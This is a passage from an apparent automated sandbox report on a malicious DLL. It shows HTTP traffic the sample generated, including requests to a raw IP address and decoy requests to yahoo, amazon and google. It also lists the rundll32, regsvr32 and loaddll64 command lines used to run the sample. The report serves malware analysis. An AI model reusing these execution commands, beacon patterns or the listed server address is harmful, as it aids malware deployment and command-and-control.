ECR5ycku76xHIahpdkEWvCpGvuc9nnELz3xa%2Bq10TJuszH4DzT%2Fu0kZZq0w0tCVSH12q7ldsLRKRVePCzgfBIiY22I8PQ4AOt94I81RwXIjOyi7mkXNARjg%2B5DeGHZhagMAzSoBbWsazqzL45wDGa86jngNFnz0k3xp6BhuAsBn0SwnlgbS2ChtzUJ6svoY0s%2Bd6YnyNw2%2BgdnogibVWCNxXfCyR8s7pmPsnhqXU3Iul8%2F%2B4LQxkxcDesUuE0WPE4Ongy9fV5DmEZXx%2BslLyqRzS%2B2bu5nrx8SSGIbV3MQgQyEI6N2AWkXzIuD8a9ViV%2Bq7nnHVOF6952%2Bul9n6Tmw%3D%3D X-Request-ID: DTZb%2Bz2V4snKar2u43XSMOqhjbSZ3zii2i7DtJh6LsYsVwRk1qa5fpiPL9hdVXE7XqicoPxgr5nHqJzqANbjv0Vib6rTG3LDnCLH6p5Qr9UXSPLAiOH2fPKjwi9PvU1c8xScc8X436dtG21sxP0kq1QMJT9S7TE%2FpFM3nmNzh1js%2BjqK%2Fgyt%2F2XXOu2Vhjo0jl%2BMHnpF70qd%2FlXMUOUk63lwIzjBRmxJpqP969SYLTYQDGcM8q6OK9Pq7KSvfW31SpNA8o4M3l6d9mtbBKWHGAQtlt4IrursN1AuYgf5Gho78RdJKX0L3QvcXsI564XpDtyIEAYi%2FQughH074JJlmQ%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127
2021-09-28 07:54:37 UTC	1120	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Content-Length: 2 Connection: close Date: Tue, 28 Sep 2021 07:54:37 GMT Set-Cookie: pSID=XXjWhpqk8YNglRrTMqMpL10cFCgTaGHYUYI7YlITxPbAFZxIMUzsR1pOloH08vw1dkjkTVrMESGqOvuGBRKtUxYJKNG0tbyAzHToi7QitRBsmlWKMqEFk7V3inr7Nxorb0xovMj8IIaY0a33n6K0NGaEjlYPkMPW2K2ejWnUZTpZn1F0Lz6BCNzrgce1RUZIaTJOOjha0UT5mRnyXekeS6B3PPcuch3ngAmPNIDDTV4GjMFDaOtDzXGkzoy33484 Set-Cookie: SVALUE=false Set-Cookie: actual=false Set-Cookie: query4=e5ZI8CsRPnmMNarL Set-Cookie: ndata=4PHQZWpR%2FYbm%2BBbsaXXKrdoFVsPbk6%2Fubd8lO5jKTB9jl7U3AVkLrB5pW0jF1OEPbgn3SLycmWnT7QgmK%2FAxcY7WsqtLKOznQpRGURGxDPC58CnVck%2F8qSkv5fMgIBDXARGa27zI1sw5%2BPMq1RjD2FeELK8jVKi1hsW3RTto3rNfoDeb%2Bpw1ltWN01%2FrRKpvlD%2FXLK4r%2Bc%2FgcDlh9WYD3wl08b1%2Bq6HpGKKiDlRpj8LTx78FP8Vxsrj3p9u%2BvOUZxXY6X1HkaAKEwGcdJsKialRhHHW%2BqVzjj1B3UWQLNNQtpz7TB5cxx4gQQKYdIoQf7QbArFTUzJGboeby6bJG1A%3D%3D Set-Cookie: bdata=9AdWdf85oadg1UudYNC0G5Q9uHjLHIVHSSWWrWdQXPD4WYvBd3O0QDSgOmiDCFkBUJ4SL4pERbmpSwCLviglflusMOBG6JoZk6Img3008iTCpmz62kk10HdlA2veuqCrfZuLAr1GvnjYgr15YZ0JRN5b7AIWxNCn0qc8U0SBjk2Rk4fJl1Ir7i1N3nrUktJGDWY7yYbSuQsw07UNTsl1PAOBUPEnL3eYyShjvJcsIn1HLTe2g9ZAqR3tZ048uzNu X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2021-09-28 07:54:37 UTC	1121	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.3	50063	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:35 UTC	1106	OUT	GET /0wmgim0Td84uqpWvzrgoDm/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:35 UTC	1107	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:35 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 10 server: ATS Content-Length: 610 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=3n9p5clgl5ihr&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:35 UTC	1108	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 35 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:35 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:35 UTC	1108	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 30 77 6d 67 69 6d 30 54 64 38 34 75 71 70 57 76 7a 72 67 6f 44 6d 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 70 3f 73 3d Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2f0wmgim0Td84uqpWvzrgoDm%2f';if(window!=window.top){ document.write('<p>Content is currently unavailable.</p><img src="//geo.yahoo.com/p?s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.3	50066	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:36 UTC	1109	OUT	GET /2za1gvjzin0ljAf92ufxxisidwpSVo231t8A/cp3sore10pishkmqffan5ka6z/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:36 UTC	1109	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:35 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 7 server: ATS Content-Length: 694 Age: 1 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=7ddjiglgl5ihs&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:36 UTC	1110	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 36 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:36 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:36 UTC	1111	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 32 7a 61 31 67 76 6a 7a 69 6e 30 6c 6a 41 66 39 32 75 66 78 78 69 73 69 64 77 70 53 56 6f 32 33 31 74 38 41 25 32 66 63 70 33 73 6f 72 65 31 30 70 69 73 68 6b 6d 71 66 66 61 6e 35 6b 61 36 7a 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 61 76 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2f2za1gvjzin0ljAf92ufxxisidwpSVo231t8A%2fcp3sore10pishkmqffan5ka6z%2f';if(window!=window.top){ document.write('<p>Content is currently unav

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.3	50067	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:36 UTC	1111	OUT	GET /0CjjxynrhtAae0xqlSijX4NGmkVz4gcf4z5eegbwqsEMppa/gqIhlc9l4hm8gwOu/C26qV9wsw8sadnDugVon6prBj/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:36 UTC	1111	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:36 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: KCDP143GAG2T6GT9Z7N4 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:36 UTC	1112	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.3	50068	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:36 UTC	1113	OUT	GET /mf3Lduswpvy6SPzcbmxwaljG67qoj6c6j19gg7OkmA/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:36 UTC	1113	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1604 Date: Tue, 28 Sep 2021 07:54:36 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:36 UTC	1114	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:36 UTC	1114	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.3	50069	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:37 UTC	1115	OUT	GET /rDvkxRxufjyhl1cw7o9vof/u30uxppkwobgi47d/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:37 UTC	1115	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:37 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 9 server: ATS Content-Length: 648 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=b3fle85gl5iht&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:37 UTC	1117	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 37 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:37 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:37 UTC	1117	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 72 44 76 6b 78 52 78 75 66 6a 79 68 6c 31 63 77 37 6f 39 76 6f 66 25 32 66 75 33 30 75 78 70 70 6b 77 6f 62 67 69 34 37 64 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 3c 69 6d 67 20 73 72 63 3d 22 2f Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2frDvkxRxufjyhl1cw7o9vof%2fu30uxppkwobgi47d%2f';if(window!=window.top){ document.write('<p>Content is currently unavailable.</p><img src="/

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll64.exe PID: 6060 Parent PID: 6016

General

Start time:	09:52:32
Start date:	28/09/2021
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll'
Imagebase:	0x7ff6262c0000
File size:	140288 bytes
MD5 hash:	A84133CCB118CF35D49A423CD836D0EF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6504 Parent PID: 6060

General

Start time:	09:52:33
Start date:	28/09/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll',#1
Imagebase:	0x7ff6cb280000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 6500 Parent PID: 6060

General

Start time:	09:52:33
Start date:	28/09/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\TWsmIoYqC6.dll
Imagebase:	0x7ff681ed0000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6476 Parent PID: 6504

General

Start time:	09:52:33
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll',#1
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6460 Parent PID: 6060

General

Start time:	09:52:34
Start date:	28/09/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Internet Explorer\iexplore.exe
Imagebase:	0x7ff759840000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1384 Parent PID: 6060

General

Start time:	09:52:34
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllRegisterServer
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 1496 Parent PID: 6460

General

Start time:	09:52:35
Start date:	28/09/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6460 CREDAT:17410 /prefetch:2
Imagebase:	0x2b0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6848 Parent PID: 6060

General

Start time:	09:52:38
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllUnregisterServer
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5580 Parent PID: 6060

General

Start time:	09:52:41
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
